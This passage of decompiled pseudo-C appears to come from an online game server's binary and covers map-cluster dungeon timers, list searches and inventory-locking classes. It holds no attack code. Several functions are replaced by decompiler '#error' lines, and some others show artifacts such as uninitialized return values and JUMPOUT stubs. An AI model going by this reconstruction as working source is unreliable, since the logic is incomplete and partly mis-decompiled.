- 7) = 0; LABEL_15: if ( !*(_BYTE *)(v7 - 7) ) goto LABEL_21; goto LABEL_16; } if ( v9 ) goto LABEL_15; if ( !*(_BYTE *)(v7 - 7) ) { v12 = clockwatch.cw_CurrTick + 200; *(_DWORD *)(v7 + 8) = 200; *(_DWORD *)(v7 + 4) = v12; *(_BYTE *)(v7 - 7) = 1; goto LABEL_15; } LABEL_16: v13 = *(_DWORD *)(v7 + 4); if ( clockwatch.cw_CurrTick > v13 ) { *(_DWORD *)(v7 + 4) = v13 + *(_DWORD *)(v7 + 8); if ( *(_BYTE *)(v7 - 8) ) goto LABEL_22; *(_BYTE *)(v7 - 8) = 1; v14 = clockwatch.cw_CurrTick; *(_DWORD *)v7 = 3000; *(_DWORD *)(v7 - 4) = v14 + 3000; v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23551; v15[2] = v3->mc_Category; *(_DWORD *)(v15 + 3) = *(_DWORD *)(v7 - 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::MapCluster::mc_Routine : Packet Too Long", 7); } } LABEL_21: if ( *(_BYTE *)(v7 - 8) ) { LABEL_22: v17 = *(_DWORD *)(v7 - 4); if ( clockwatch.cw_CurrTick > v17 ) { *(_DWORD *)(v7 - 4) = v17 + *(_DWORD *)v7; MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(v3, v6); } } if ( *(_BYTE *)(v7 + 12) ) { v18 = *(_DWORD *)(v7 + 16); if ( clockwatch.cw_CurrTick > v18 ) { *(_DWORD *)(v7 + 16) = v18 + *(_DWORD *)(v7 + 20); MapClusterManager::MapCluster::mc_MissoionFailInstance(v3, *(#592 **)(v7 - 16)); } } if ( *(_BYTE *)(v7 + 24) ) { v19 = *(_DWORD *)(v7 + 28); if ( clockwatch.cw_CurrTick > v19 ) { *(_DWORD *)(v7 + 28) = v19 + *(_DWORD *)(v7 + 32); MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(v3, v6); } } if ( *(_BYTE *)(v7 + 36) ) { v20 = *(_DWORD *)(v7 + 40); if ( clockwatch.cw_CurrTick > v20 ) { *(_DWORD *)(v7 + 40) = v20 + *(_DWORD *)(v7 + 44); v21 = ShineScript::ss_String(&shinescriptetc, "LimitTimeMessageFirst"); if ( v21 ) { AxialListWall::AxialListWall(&alw, v21); v22 = *(void **)(v7 - 16); LOBYTE(v32) = 1; v23 = FieldMap::fm_GetCenterObject(v22); ShineObjectClass::ShineObject::so_AllInMap((void *)v23, (int)&alw, 0); LOBYTE(v32) = 0; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alw); } else { AssertClass::ac_AssertFail(&shineassert, "Not Found ETC : LimitTimeMessageFirst", 0); } } if ( *(_BYTE *)(v7 + 36) ) { v24 = *(_DWORD *)(v7 + 48); if ( clockwatch.cw_CurrTick > v24 ) { *(_DWORD *)(v7 + 48) = v24 + *(_DWORD *)(v7 + 52); v25 = ShineScript::ss_String(&shinescriptetc, "LimitTimeMessageSecond"); if ( v25 ) { AxialListWall::AxialListWall(&thisa, v25); v26 = *(void **)(v7 - 16); LOBYTE(v32) = 2; v27 = FieldMap::fm_GetCenterObject(v26); ShineObjectClass::ShineObject::so_AllInMap((void *)v27, (int)&thisa, 0); LOBYTE(v32) = 0; AxialListWall::_AxialListWall((AxialListMobKillLog *)&thisa); } else { AssertClass::ac_AssertFail(&shineassert, "Not Found ETC : LimitTimeMessageSecond", 0); } } } } LABEL_40: ++v6; v7 += 72; } while ( v6 < v3->mc_MapNumber ); v4 = -1; LABEL_42: v29 = "MapClusterManager::MapCluster::mc_Routine"; LABEL_43: --funcallanalizer.fca_stackpoint; v32 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v29); return 1; } //----- (00461800) -------------------------------------------------------- MapClusterManager::MapCluster *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(MapClusterManager::MapCluster *, List *, unsigned __int16, MapClusterManager::MapCluster *), unsigned __int16 *hnd, MapClusterManager::MapCluster *key) { MapClusterManager::MapCluster *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(MapClusterManager::MapCluster *, List *, unsigned __int16, MapClusterManager::MapCluster *); // [sp+8h] [bp-1Ch]@1 MapClusterManager::MapCluster *v8; // [sp+Ch] [bp-18h]@1 MapClusterManager::MapCluster *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (00461870) -------------------------------------------------------- char __thiscall DeleteDungeon::lid_Call(DeleteDungeon *this, MapClusterManager::MapCluster *ele, unsigned __int16 handle) { if ( ele->mc_Category == this->_Category ) MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(ele, this->_RegisterNumber); return 1; } //----- (00461890) -------------------------------------------------------- #592 *__thiscall MapClusterManager::ClusterManager::cm_FindEmptyByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 MapClusterManager::MapCluster *v6; // eax@1 #592 *result; // eax@4 unsigned __int16 hnd; // [sp+0h] [bp-9030h]@1 int v9; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster thisa; // [sp+8h] [bp-9028h]@1 unsigned int v11; // [sp+9020h] [bp-10h]@4 int v12; // [sp+9024h] [bp-Ch]@1 int (*v13)(); // [sp+9028h] [bp-8h]@1 int v14; // [sp+902Ch] [bp-4h]@1 v13 = _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z; v12 = v3; v4 = alloca(36900); v5 = (List *)this; v9 = (int)"MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; MapClusterManager::MapCluster::MapCluster(&thisa, (char *)clientmapname, CATEGORY_CLASSIC); LOBYTE(v14) = 1; v6 = List::l_Search(v5, MapClusterManager::MapCluster::mc_CompName, &hnd, &thisa); if ( v6 ) { MapClusterManager::MapCluster::mc_FindEmptyByRegnum(v6, RegisterNumber); LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&thisa); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); } else { LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&thisa); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); } __security_check_cookie(v11); return result; } // 5858F6: using guessed type int _ehhandler$?cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z(); //----- (004619E0) -------------------------------------------------------- #592 *__thiscall MapClusterManager::ClusterManager::cm_FindExistByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 MapClusterManager::MapCluster *v6; // eax@1 #592 *result; // eax@4 unsigned __int16 hnd; // [sp+0h] [bp-9030h]@1 int v9; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster thisa; // [sp+8h] [bp-9028h]@1 unsigned int v11; // [sp+9020h] [bp-10h]@4 int v12; // [sp+9024h] [bp-Ch]@1 int (*v13)(); // [sp+9028h] [bp-8h]@1 int v14; // [sp+902Ch] [bp-4h]@1 v13 = _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z; v12 = v3; v4 = alloca(36900); v5 = (List *)this; v9 = (int)"MapClusterManager::ClusterManager::cm_FindExistByRegnum"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindExistByRegnum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; MapClusterManager::MapCluster::MapCluster(&thisa, (char *)clientmapname, CATEGORY_CLASSIC); LOBYTE(v14) = 1; v6 = List::l_Search(v5, MapClusterManager::MapCluster::mc_CompName, &hnd, &thisa); if ( v6 ) { MapClusterManager::MapCluster::mc_FindExistByRegnum(v6, RegisterNumber); LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&thisa); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); } else { LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&thisa); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); } __security_check_cookie(v11); return result; } // 5858F6: using guessed type int _ehhandler$?cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z(); //----- (00461B30) -------------------------------------------------------- MapClusterManager::MapCluster *__thiscall MapClusterManager::ClusterManager::cm_FindMapCluster(MapClusterManager::ClusterManager *this, const char *clientmapname) { int v2; // eax@0 void *v3; // esp@1 List *v4; // esi@1 MapClusterManager::MapCluster *result; // eax@1 unsigned __int16 hnd; // [sp+0h] [bp-9030h]@1 int v7; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster thisa; // [sp+8h] [bp-9028h]@1 unsigned int v9; // [sp+9020h] [bp-10h]@1 int v10; // [sp+9024h] [bp-Ch]@1 int (*v11)(); // [sp+9028h] [bp-8h]@1 int v12; // [sp+902Ch] [bp-4h]@1 v11 = _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z; v10 = v2; v3 = alloca(36900); v4 = (List *)this; v7 = (int)"MapClusterManager::ClusterManager::cm_FindMapCluster"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindMapCluster"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindMapCluster"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; MapClusterManager::MapCluster::MapCluster(&thisa, (char *)clientmapname, CATEGORY_CLASSIC); LOBYTE(v12) = 1; List::l_Search(v4, MapClusterManager::MapCluster::mc_CompName, &hnd, &thisa); LOBYTE(v12) = 0; MapClusterManager::MapCluster::_MapCluster(&thisa); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindMapCluster"); __security_check_cookie(v9); return result; } // 5858F6: using guessed type int _ehhandler$?cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z(); //----- (00461C40) -------------------------------------------------------- #error "461C40: undefined or illegal type '#331' (funcsize=111)" //----- (00461DB0) -------------------------------------------------------- #error "461DB0: undefined or illegal type '#331' (funcsize=248)" //----- (00462110) -------------------------------------------------------- UseEffect::UIE_Functions *__thiscall UseEffect::UsedItemEffect::operator__(UseEffect::UsedItemEffect *this, unsigned __int16 itm) { UseEffect::UIE_Functions *result; // eax@2 if ( itm < this->uie_MaxItemID ) result = &this->uie_FuncStruct[itm]; else result = this->uie_FuncStruct; return result; } //----- (00462150) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(InventoryLocking::InvenCellReleaser_CenChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CenChange::_vftable_; } // 5A713C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CenChange___vftable_)(int, int lc, char inchest); //----- (00462160) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(InventoryLocking::InvenCellReleaser_FameChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FameChange::_vftable_; } // 5A714C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_FameChange___vftable_)(int, int lc, char inchest); //----- (00462170) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(InventoryLocking::InvenCellReleaser_CellClear *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellClear::_vftable_; } // 5A715C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellClear___vftable_)(int, int lc, char inchest); //----- (00462180) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(InventoryLocking::InvenCellReleaser_CellChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellChange::_vftable_; } // 5A716C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellChange___vftable_)(int, int lc, char inchest); //----- (00462190) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(InventoryLocking::InvenCellReleaser_CellChangeSmall *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellChangeSmall::_vftable_; } // 5A717C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellChangeSmall___vftable_)(int, int lc, char inchest); //----- (004621A0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(InventoryLocking::InvenCellReleaser_GuildStorageClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildStorageClear::_vftable_; } // 5A718C: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_GuildStorageClear___vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #331 *, int lc, __int16 nBeforeItemID); //----- (004621B0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(InventoryLocking::InvenCellReleaser_GuildStorageChange *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildStorageChange::_vftable_; } // 5A719C: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_GuildStorageChange___vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #331 *, int lc, char nType); //----- (004621C0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::_vftable_; } // 5A71AC: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageRelocClear___vftable_)(int, int lc, char inchest); //----- (004621D0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc::_vftable_; } // 5A71BC: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageReloc___vftable_)(int, int lc, char inchest); //----- (004621E0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this) { this->baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::_vftable_; } // 5A71CC: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng___vftable_)(int flag, int lc, char inchest); //----- (004621F0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(InventoryLocking::InvenCellReleaser_FurnitureReloc *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FurnitureReloc::_vftable_; } // 5A71DC: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_FurnitureReloc___vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #331 *, int lc, char inchest); //----- (00462200) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FurnitureCellClear::_vftable_; } // 5A71EC: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_FurnitureCellClear___vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #331 *, int lc, char inchest); //----- (00462210) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(InventoryLocking::InvenCellReleaser_EquipLocation *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_EquipLocation::_vftable_; } // 5A71FC: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_EquipLocation___vftable_)(int, int lc, char inchest); //----- (00462220) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_ItemUse *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_ItemUse::_vftable_; } // 5A720C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_ItemUse___vftable_)(int, int lc, char inchest); //----- (00462230) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(InventoryLocking::InvenCellReleaser_PointStone *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_PointStone::_vftable_; } // 5A721C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_PointStone___vftable_)(int, int lc, char inchest); //----- (00462240) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(InventoryLocking::InvenCellReleaser_QuestReward *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_QuestReward::_vftable_; } // 5A722C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_QuestReward___vftable_)(int, int lc, char inchest); //----- (00462250) -------------------------------------------------------- #error "462250: undefined or illegal type '#331' (funcsize=7)" //----- (00462270) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::InventoryCellLock(InventoryLocking::InventoryCellLock *this) { this->vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLock::_vftable_; } // 5A7240: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_)(int ele, __int16 handle); //----- (00462280) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::_InventoryCellLock(InventoryLocking::InventoryCellLock *this) { this->vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLock::_vftable_; } // 5A7240: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_)(int ele, __int16 handle); //----- (00462290) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLock::icl_IsLocked(AxialListIterator *this, #331 *type, #331 *slot, unsigned int distancesquar) { return 1; } //----- (004622A0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineObject::so_ply_Script_CostumeCreate(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]) { return 0; } //----- (004622B0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItemSimple(InventoryLocking::InventoryCellLockList *this, ItemBoxIterator *pBoxIterraotr) { ItemBoxIterator *v2; // edi@1 InventoryLocking::InventoryCellLockList *v3; // esi@1 unsigned __int8 v4; // al@2 unsigned __int16 v5; // bx@2 InventoryLocking::InventoryCellLockVtbl *v6; // ebp@2 ItemInventoryCell *v7; // eax@2 v2 = pBoxIterraotr; v3 = this; if ( pBoxIterraotr ) { v4 = ((int (*)(void))pBoxIterraotr->ibi_itembag->vfptr->ib_GetInvenType)(); v5 = v3->baseclass_0.icl_Index; v6 = v3->baseclass_0.vfptr; LOWORD(pBoxIterraotr) = v2->ibi_finger & 0x3FF | (v4 << 10); v7 = ItemBoxIterator::ibi_GetCell(v2); v6->icl_ClearItem( (InventoryLocking::InventoryCellLock *)v3, v5, v7, (ITEM_INVEN *)&pBoxIterraotr, (ITEM_INVEN *)&pBoxIterraotr); } } //----- (00462310) -------------------------------------------------------- #error "462310: undefined or illegal type '#440' (funcsize=3)" //----- (00462320) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(InventoryLocking::InvenCellReleaser_LinkInfo *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_LinkInfo::_vftable_; } // 5A72A0: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_LinkInfo___vftable_)(int, int lc, char inchest); //----- (00462330) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_LinkInfo *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser::_vftable_; } // 5A712C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser___vftable_)(int, int lc, char inchest); //----- (00462350) -------------------------------------------------------- char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Home(InventoryLocking::UnlockedInventoryIterator *this) { InventoryLocking::UnlockedInventoryIterator *v1; // esi@1 ItemBoxIterator *v2; // edi@1 ItemBoxIteratorVtbl *v3; // eax@1 char result; // al@5 v1 = this; v2 = this->uii_Iterator; v3 = this->uii_Iterator->vfptr; this->uii_Iterator->ibi_finger = 0; if ( (unsigned __int8)v3->ibi_isvalid(v2) || ItemBoxIterator::ibi_Next(v2) ) { while ( (unsigned __int8)((int (__stdcall *)(_DWORD, _DWORD))v1->uii_LockList->vfptr->icl_IsLocked)( v1->uii_InvenType, v1->uii_Iterator->ibi_finger) ) { if ( !ItemBoxIterator::ibi_Next(v1->uii_Iterator) ) goto LABEL_5; } result = 1; } else { LABEL_5: result = 0; } return result; } //----- (004623A0) -------------------------------------------------------- char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next(InventoryLocking::UnlockedInventoryIterator *this) { InventoryLocking::UnlockedInventoryIterator *v1; // esi@1 char result; // al@4 v1 = this; if ( ItemBoxIterator::ibi_Next(this->uii_Iterator) ) { while ( (unsigned __int8)((int (__stdcall *)(_DWORD, _DWORD))v1->uii_LockList->vfptr->icl_IsLocked)( v1->uii_InvenType, v1->uii_Iterator->ibi_finger) ) { if ( !ItemBoxIterator::ibi_Next(v1->uii_Iterator) ) goto LABEL_4; } result = 1; } else { LABEL_4: result = 0; } return result; } //----- (004623E0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, InventoryLocking::LockedCell *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xA0u); return 1; } // 4623F6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00462420) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, InventoryLocking::LockedCell *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xA0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00462470) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, InventoryLocking::LockedCell *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xA0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004624C0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser::icr_Apply(InventoryLocking::InvenCellReleaser *this, #331 *a2, InventoryLocking::LockedCell *lc, char inchest) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Apply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser::icr_Apply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Apply"); } //----- (00462510) -------------------------------------------------------- #error "462510: undefined or illegal type '#331' (funcsize=66)" //----- (00462610) -------------------------------------------------------- #error "462610: undefined or illegal type '#331' (funcsize=60)" //----- (00462700) -------------------------------------------------------- #error "462700: undefined or illegal type '#331' (funcsize=37)" //----- (004627B0) -------------------------------------------------------- #error "4627B0: undefined or illegal type '#331' (funcsize=66)" //----- (004628A0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply(InventoryLocking::InvenCellReleaser_ItemUse *this, #331 *a2, InventoryLocking::LockedCell *lc, char inchest) { __int16 v4; // cx@1 UseEffect::UIE_Functions *v5; // edx@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = lc->lc_Argument.cenchange.plusminus; if ( v4 < useditemeffect.uie_MaxItemID ) v5 = &useditemeffect.uie_FuncStruct[(unsigned __int16)v4]; else v5 = useditemeffect.uie_FuncStruct; (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD))(**(_DWORD **)&lc->gap20[96] + 12))(a2, &lc->lc_Argument, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"); } //----- (00462970) -------------------------------------------------------- #error "462970: undefined or illegal type '#331' (funcsize=30)" //----- (00462A10) -------------------------------------------------------- #error "462A10: undefined or illegal type '#331' (funcsize=30)" //----- (00462AB0) -------------------------------------------------------- #error "462AB0: undefined or illegal type '#331' (funcsize=220)" //----- (00462DC0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser::icr_Reserv(InventoryLocking::InvenCellReleaser *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = 